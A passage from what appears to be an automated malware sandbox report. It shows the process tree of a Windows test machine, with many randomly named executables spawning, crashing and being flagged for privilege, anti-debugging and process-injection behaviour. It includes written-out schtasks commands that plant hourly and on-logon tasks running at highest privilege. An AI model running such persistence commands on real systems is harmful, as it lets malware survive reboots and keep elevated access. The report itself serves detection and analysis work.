        PID:8124
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8124 -s 28
        10⤵
        Program crash
        
        PID:2900
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:1800
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:7044
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:4288
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:5444
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:8908
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:9424
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:9260
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:4696
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:5348
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:9928
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:7188
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:7548
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:6432
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:4076
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:2476
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:9288
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:4084
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:7940
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:8252
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:2096
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:5820
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:1900
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:9580
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:4880
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4880 -s 28
        10⤵
        Program crash
        
        PID:8468
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:10124
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:4416
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:10264
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:10872
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:6664
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:10944
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:10600
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:11256
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:1716
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:7692
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:1668
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:10368
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:10536
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:8008
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:10728
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:10708
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:12316
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:12988
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:12640
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:12380
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:6872
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:12520
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:3112
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:12756
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:10296
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:12420
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:5360
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:3276
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:3096
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:4900
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:13156
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:9600
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:2340
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:6988
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:10688
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:10860
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:13256
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:6492
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:6592
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        
        PID:9320
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:10848
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:11492
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:13192
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:3020
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:11672
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:12420
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:11208
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:12052
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:10748
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:11412
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:9280
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:13856
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:13360
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:13920
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:10272
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:13988
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:13604
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:12244
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:4648
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4648 -s 28
        10⤵
        Program crash
        
        PID:14276
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:13260
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:13432
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:8436
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:3356
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:11904
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:13792
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:5468
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:11876
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:11888
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:12384
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:14704
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:15136
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:11240
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:13548
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        
        C:\Users\Admin\Documents\R0kz5guTQzQNUqWyhke1mfl2.exe
        9⤵
        
        PID:11568
        
        C:\Users\Admin\Documents\EqSVzLO4Mnl33hkWYVLM1xbe.exe
        
        "C:\Users\Admin\Documents\EqSVzLO4Mnl33hkWYVLM1xbe.exe"
        8⤵
        
        PID:9148
        
        C:\Users\Admin\Documents\_rpV0_JNNE1ttDXVlIwSQ2wx.exe
        
        "C:\Users\Admin\Documents\_rpV0_JNNE1ttDXVlIwSQ2wx.exe"
        8⤵
        
        PID:9136
        
        C:\Users\Admin\Documents\J0cnTsYWSDwKJtBPy52n5IOv.exe
        
        "C:\Users\Admin\Documents\J0cnTsYWSDwKJtBPy52n5IOv.exe"
        8⤵
        
        PID:9020
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:6080
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        9⤵
        Creates scheduled task(s)
        
        PID:4536
        
        C:\Users\Admin\Documents\9mplQmv7sQLRYMzIfSW2vUS3.exe
        
        "C:\Users\Admin\Documents\9mplQmv7sQLRYMzIfSW2vUS3.exe"
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2352
        
        C:\Users\Admin\AppData\Roaming\6078113.exe
        
        "C:\Users\Admin\AppData\Roaming\6078113.exe"
        9⤵
        
        PID:8700
        
        C:\Users\Admin\AppData\Roaming\6993529.exe
        
        "C:\Users\Admin\AppData\Roaming\6993529.exe"
        9⤵
        
        PID:8896
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 8896 -s 2352
        10⤵
        Program crash
        
        PID:4876
        
        C:\Users\Admin\AppData\Roaming\6889118.exe
        
        "C:\Users\Admin\AppData\Roaming\6889118.exe"
        9⤵
        
        PID:1220
        
        C:\Users\Admin\AppData\Roaming\7700749.exe
        
        "C:\Users\Admin\AppData\Roaming\7700749.exe"
        9⤵
        
        PID:6756
        
        C:\Users\Admin\AppData\Roaming\2100274.exe
        
        "C:\Users\Admin\AppData\Roaming\2100274.exe"
        9⤵
        
        PID:8048
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8048 -s 2428
        10⤵
        Program crash
        
        PID:32
        
        C:\Users\Admin\Documents\ApG45RYwp_Ts9tbCBNBuU7tj.exe
        
        "C:\Users\Admin\Documents\ApG45RYwp_Ts9tbCBNBuU7tj.exe"
        8⤵
        
        PID:8800
        
        C:\Users\Admin\Documents\kPKLDAurUKSMMlQHPxdw3P3o.exe
        
        "C:\Users\Admin\Documents\kPKLDAurUKSMMlQHPxdw3P3o.exe"
        8⤵
        
        PID:8812
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8812 -s 300
        9⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:10084
        
        C:\Users\Admin\Documents\Oe6jigABAx2vPxEu1o4SdHXY.exe
        
        "C:\Users\Admin\Documents\Oe6jigABAx2vPxEu1o4SdHXY.exe"
        8⤵
        
        PID:8672
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8672 -s 280
        9⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:10192
        
        C:\Users\Admin\Documents\oma6vmkA0pSaQEdlijldu2f0.exe
        
        "C:\Users\Admin\Documents\oma6vmkA0pSaQEdlijldu2f0.exe"
        8⤵
        
        PID:8828
        
        C:\Users\Admin\Documents\mNjxflRi3apRSjfGh9fC3CLb.exe
        
        "C:\Users\Admin\Documents\mNjxflRi3apRSjfGh9fC3CLb.exe"
        8⤵
        
        PID:8532
        
        C:\Users\Admin\Documents\SGMzd9KHBNS2tZvwMdtRAq5R.exe
        
        "C:\Users\Admin\Documents\SGMzd9KHBNS2tZvwMdtRAq5R.exe"
        8⤵
        
        PID:8536
        
        C:\Users\Admin\Documents\xjWzf1QksUnO0aKn8XkME9L1.exe
        
        "C:\Users\Admin\Documents\xjWzf1QksUnO0aKn8XkME9L1.exe"
        8⤵
        
        PID:8844
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8844 -s 280
        9⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:9512
        
        C:\Users\Admin\Documents\fxSUQFUhLcb_Q39QElMyGrjY.exe
        
        "C:\Users\Admin\Documents\fxSUQFUhLcb_Q39QElMyGrjY.exe"
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:8572
        
        C:\Users\Admin\AppData\Roaming\8555007.exe
        
        "C:\Users\Admin\AppData\Roaming\8555007.exe"
        9⤵
        
        PID:6020
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 6020 -s 2328
        10⤵
        Program crash
        
        PID:4264
        
        C:\Users\Admin\AppData\Roaming\1707353.exe
        
        "C:\Users\Admin\AppData\Roaming\1707353.exe"
        9⤵
        
        PID:5324
        
        C:\Users\Admin\AppData\Roaming\3739746.exe
        
        "C:\Users\Admin\AppData\Roaming\3739746.exe"
        9⤵
        
        PID:10144
        
        C:\Users\Admin\AppData\Roaming\5668356.exe
        
        "C:\Users\Admin\AppData\Roaming\5668356.exe"
        9⤵
        
        PID:9252
        
        C:\Users\Admin\AppData\Roaming\3583757.exe
        
        "C:\Users\Admin\AppData\Roaming\3583757.exe"
        9⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        
        PID:6064
        
        C:\Users\Admin\Documents\mH9wTG7rGxDGW0qcQAwjxRFe.exe
        
        "C:\Users\Admin\Documents\mH9wTG7rGxDGW0qcQAwjxRFe.exe"
        8⤵
        
        PID:8868
        
        C:\Users\Admin\Documents\Eu_x80s4oUhjOzG92I5SjFBY.exe
        
        "C:\Users\Admin\Documents\Eu_x80s4oUhjOzG92I5SjFBY.exe"
        8⤵
        
        PID:8884
        
        C:\Users\Admin\Documents\Eu_x80s4oUhjOzG92I5SjFBY.exe
        
        "C:\Users\Admin\Documents\Eu_x80s4oUhjOzG92I5SjFBY.exe" -u
        9⤵
        
        PID:10160
        
        C:\Users\Admin\Documents\c409rj8kKbKeohTs9uNyUmMF.exe
        
        "C:\Users\Admin\Documents\c409rj8kKbKeohTs9uNyUmMF.exe"
        8⤵
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:6596
        
        C:\Users\Admin\Documents\zApzBnKRXUszDR05xqhPHZm2.exe
        
        "C:\Users\Admin\Documents\zApzBnKRXUszDR05xqhPHZm2.exe"
        8⤵
        Drops file in Program Files directory
        
        PID:9056
        
        C:\Users\Admin\Documents\jfeoYfogMc0D6_RlyUWxufKa.exe
        
        "C:\Users\Admin\Documents\jfeoYfogMc0D6_RlyUWxufKa.exe"
        8⤵
        
        PID:9032
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        "C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe"
        8⤵
        Suspicious use of SetThreadContext
        
        PID:8996
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9544
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9676
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:7860
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:10116
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:476
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:3180
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9548
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:8716
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:6300
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:5580
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
